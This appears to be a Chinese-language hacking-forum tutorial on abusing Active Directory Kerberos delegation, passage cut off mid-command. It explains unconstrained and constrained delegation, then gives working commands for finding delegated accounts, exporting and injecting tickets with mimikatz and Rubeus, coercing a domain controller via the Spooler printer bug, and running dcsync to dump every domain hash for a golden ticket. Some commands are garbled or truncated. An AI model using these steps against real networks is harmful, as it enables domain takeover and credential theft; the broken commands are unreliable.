taibeihacker
Moderator
基于域委派的攻击
1 域委派相关定义
1.1 定义
Identity delegation is a feature of Active Directo ry Federation Services (AD FS) that allows administrator-specified accounts to impersonate users. The account that impersonates the user is called the dele gateThis delegation capability is critical for many distributed applications for which there is a series of access control checks that must be made sequentially for each application, database, or service that is in the authorization chain for the originating request
Many real-world scenarios exist in which a Web application “front end” must retrieve data from a more secure “back end”, such as a Web service that is connected to a Microsoft SQL Server database.
域委派是大型網絡中經常部署的應用模式,給多跳認證帶來很大的便利,同時也帶來很大的安全隱患,利用委派可獲取域管理員權限,甚至製作深度隱藏的後門
域委派是指,將域內用戶的權限委派給服務賬號,使得服務賬號能以用戶權限開展域內活動。
資訊
在域內的可以委派的賬戶有兩種一種是主机账户(Net Computer)另一種是用setspn 手動添加的服務賬戶(Net User),不管是非約束還是約束的例子是以主機賬戶舉例,因為用主機賬戶來委派的環境好搭並且便於理解,不過服務賬戶和主機賬戶從攻擊委派這個視角來看是等價的。
服務賬號(Service Account),域內用戶的一種類型,服務器運行服務時所用的賬號,將服務運行起來並加入域。例如MS SQL Server 在安裝時,會在域內自動註冊服務賬號SqlServiceAccount,這類賬號不能用於交互式登錄。

一個域內普通用戶jack 通過Kerberos 協議認證到前台WEB 服務後,前台運行WEB 服務的服務賬號websvc 模擬(Impersonate)用戶jack,以Kerberos 協議繼續認證到後台服務器,從而在後台服務器中獲取jack 用戶的訪問權限,即域中單跳或者多跳的Kerberos 認證。
1.2 流程
域內用戶jack 以Kerberos 方式認證後訪問Web 服務器;Web 服務以websvc 服務賬號運行,websvc 向KDC 發起jack 用戶的票據申請;
KDC 檢查websvc 用戶的委派屬性,如果被設置,則返回jack 用戶的可轉發票據TGT;
websvc 收到jack 用戶TGT 後,使用該票據向KDC 申請訪問文件服務器的服務票據ST;
KDC 檢查websvc 的委派屬性,如果被設置,且申請的文件服務在允許的列表清單中,則返回一個jack 用戶訪問文件服務的授權票據ST;
websvc 收到的jack 用戶的授權票據ST 後,可訪問文件服務,完成多跳認證。
1.3 委派类型
域內委派主要有3 種應用方式:一是非約束性委派(Unconstrained Delegation),服務賬號可以獲取某用戶的TGT,從而服務賬號可使用該TGT,模擬用戶訪問任意服務
二是約束性委派(Constrained Delegation),即Kerberos 的擴展協議S4U2Proxy,服務賬號只能獲取某用戶的ST,從而只能模擬用戶訪問特定的服務

2 非约束委派
2.1 原理
如果某個服務A 的服務賬號B 被設置為非約束委派,當用戶C 通過Kerberos 認證訪問服務A 時,KDC 會檢查服務賬號B 的屬性,發現是非約束性委派時,KDC 會將用戶C 的TGT 放在ST 中,這樣B 在驗證ST 的同時獲取了A 用戶的TGT,從而可以模擬用戶A 訪問任意服務。
開啟委派後,在該用戶的userAccountControl 屬性會多出一個flag:WORKSTATION_TRUSTED_FOR_DELEGATION

非約束委派的設置需要SeEnableDelegation 特權,該特權通常僅授予域管理員。
2.2 实战
2.2.1 非约束委派的查找
2.2.1.1 adfind
查询非约束委派的主机:AdFind.exe -b 'DC=pentest,DC=com' -f '((samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))' cn distinguishedName

查询非约束委派的用户:
AdFind.exe -b 'DC=pentest,DC=com' -f '((samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))' cn distinguishedName
2.2.1.2 powerview
注:PowerSploit-dev 分支查询配置非约束委派的用户:Get-NetUser -Unconstrained -Domain pentest.com
查询配置非约束委派的主机:Get-domaincomputer -Unconstrained -Domain pentest.com

2.2.1.3 ldapsearch
資訊需要域內任意用戶的賬號密碼
查询非约束委派的机器:ldapsearch -LLL -x -H ldap://172.16.147.130:389 -D '[email protected]' -w '123456bY' -b dc=pentest,dc=com '((samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))' cn distinguishedName

查询非约束委派的用户:ldapsearch -LLL -x -H ldap://172.16.147.130:389 -D '[email protected]' -w '123456' -b dc=pentest,dc=com '((samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))' cn distinguishedName
2.2.2 非约束委派的利用
2.2.2.1 管理员模拟访问
資訊實驗前建議清除內存中的票據,mimikatz 下:kerberos

模擬管理員調用非約束性委派機的smb 服務:net use \\win7\c$
回到非約束委派機,查看票據(部分截图):
1
2
privilege:debug
sekualsa:tickets

TGT 被截獲,我們用sekurlas:tickets /export 把票據導出來

此時我們訪問域控是被拒絕的:

然後mimikatz 裡使用kerberos


可以成功訪問。
如果想執行命令,可以使用WinRM 服務來遠程連接域控服務器:
Enter-PSSession -ComputerName DC

2.2.2.2 Spooler Printer Bug
在實戰中,只是單純的非約束委派話需要管理員主動連接比較雞肋。因此可以利用非約束委派+ Spooler 打印機服務可以強制指定的主機進行連接。利用原理:利用Windows 打印系統遠程協議(MS-RPRN) 中的一種舊的但是默認啟用的方法,在該方法中,域用戶可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法強制任何運行了Spooler 服務的計算機以通過Kerberos 或NTLM 對攻擊者選擇的目標進行身份驗證。

POC:https://github.com/leechristensen/SpoolSample
向DC 的Spooler 服務發送請求,強制其訪問win7 進行身份驗證:SpoolSample.exe DC win7
可以用Rubeus 來監聽Event ID 為4624 事件,這樣可以第一時間截取到域控的,每隔一秒監聽一次來自DC 的登陸(需要本地管理員權限)TGT:Rubeus.exe monitor /interval:1 /filteruser

注:Rubeus.exe 捕獲到的TGT 是base64 編碼的,但是我們不需要解碼,Rubeus 可以直接將base64 編碼的票據直接注入到內存中:Rubeus.exe ptt /ticket:base64
得到TGT 之後,利用PTT 將票據注入到當前會話後,可以用dcsync 導出域控中所有用戶的hash,然後用krbtgt 用戶的hash 生成黃金票據。
1
2
3
kerberos

lsadump:dcsync /domain:test.local /all /csv
3 约束委派
3.1 原理
由於非約束委派的不安全性,微軟在windows server 2003 中引入了約束委派,對Kerberos 協議進行了拓展,引入了S4U,其中S4U 支持兩個子協議:Service for User to Self (S4U2Self) 和Service for User to Proxy (S4U2proxy),這兩個擴展都允許服務代表用戶從KDC 請求票證。 S4U2self 可以代表自身請求針對其自身的Kerberos 服務票據(ST);S4U2proxy 可以以用戶的名義請求其它服務的ST,約束委派就是限制了S4U2proxy 擴展的範圍。S4U2Self 和S4U2proxy 的請求過程(圖來自微軟手冊):
其中步驟1-4 代表S4U2Self 請求的過程,步驟5-10 代表S4U2proxy 的請求過程

用戶向service1 發出請求。用戶已通過身份驗證,但service1 沒有用戶的授權數據。通常,這是由於身份驗證是通過Kerberos 以外的其他方式驗證的。
通過S4U2self 擴展以用戶的名義向KDC 請求用於訪問service1 的ST1。
KDC 返回給Service1 一個用於用戶驗證Service1 的ST1,該ST1 可能包含用戶的授權數據。
service1 可以使用ST 中的授權數據來滿足用戶的請求,然後響應用戶。
注:儘管S4U2self 向service1 提供有關用戶的信息,但S4U2self 不允許service1 代表用戶發出其他服務的請求,這時候就輪到S4U2proxy 發揮作用了
用戶向service1 發出請求,service1 需要以用戶身份訪問service2 上的資源。
service1 以用戶的名義向KDC 請求用戶訪問service2 的ST2
如果請求中包含PAC,則KDC 通過檢查PAC 的簽名數據來驗證PAC ,如果PAC 有效或不存在,則KDC 返回ST2 給service1,但存儲在ST2 的cname 和crealm 字段中的客戶端身份是用戶的身份,而不是service1 的身份。
service1 使用ST2 以用戶的名義向service2 發送請求,並判定用戶已由KDC 進行身份驗證。
service2 響應步驟8 的請求。
service1 響應用戶對步驟5 中的請求。
當被設置為約束性委派時,其userAccountControl 屬性包含TRUSTED_TO_AUTH_FOR_DELEGATION(T2A4D),且msDS-AllowedToDelegateTo 屬性會被設置為哪些協議


由此可以看出,約束委派不需要其它用戶主動請求可以模擬用戶。當拿下一個配置約束委派的用戶,就可以拿下配置對應委派主機的權限。
3.2 实战
3.2.1 约束委派的查找
3.2.1.1 adfind
查询约束委派的主机:AdFind.exe -b 'DC=pentest,DC=com' -f '((samAccountType=805306369)(msds-allowedtodelegateto=*))' cn distinguishedName msds-allowedtodelegateto

查询约束委派的用户:
AdFind.exe -b 'DC=pentest,DC=com' -f '((samAccountType=805306368)(msds-allowedtodelegateto=*))' cn distinguishedName msds-allowedtodelegateto
3.2.1.2 powerview
查询约束委派的主机:Get-DomainComputer -TrustedToAuth -Domain test.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto
查询约束委派的用户:
Get-DomainUser –TrustedToAuth -domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
3.2.1.3 ldapsearch
查询约束委派的机器:ldapsearch -LLL -x -H ldap://IP:389 -D '[email protected]' -w '123456' -b dc=pentest,dc=com '((samAccountType=805306369)(msds-allowedtodelegateto=*))' cn distinguishedName msds-allowedtodelegateto
查询约束委派的用户:ldapsearch -LLL -x -H ldap://IP:389 -D '[email protected]' -w '123456' -b dc=pentest,dc=com '((samAccountType=805306368)(msds-allowedtodelegateto=*))' cn distinguishedName msds-allowedtodelegateto
3.2.2 约束委派的利用
3.2.2.1 常见情况
已知在約束委派的情況下,服務用戶只能獲取某個用戶或者主機的服務ST,只能用模擬用戶訪問特定的服務,是無法獲取用戶的TGT 的,如果能夠獲得到開啟了約束委派的服務的用戶的明文密碼或者hash 就可以偽造S4U 的請求,進而偽造服務用戶以任意賬戶的權限訪問服務的ST。先抓出主机账户的 NTLM Hash 值:mimikatz.exe 'privilege:debug' 'sek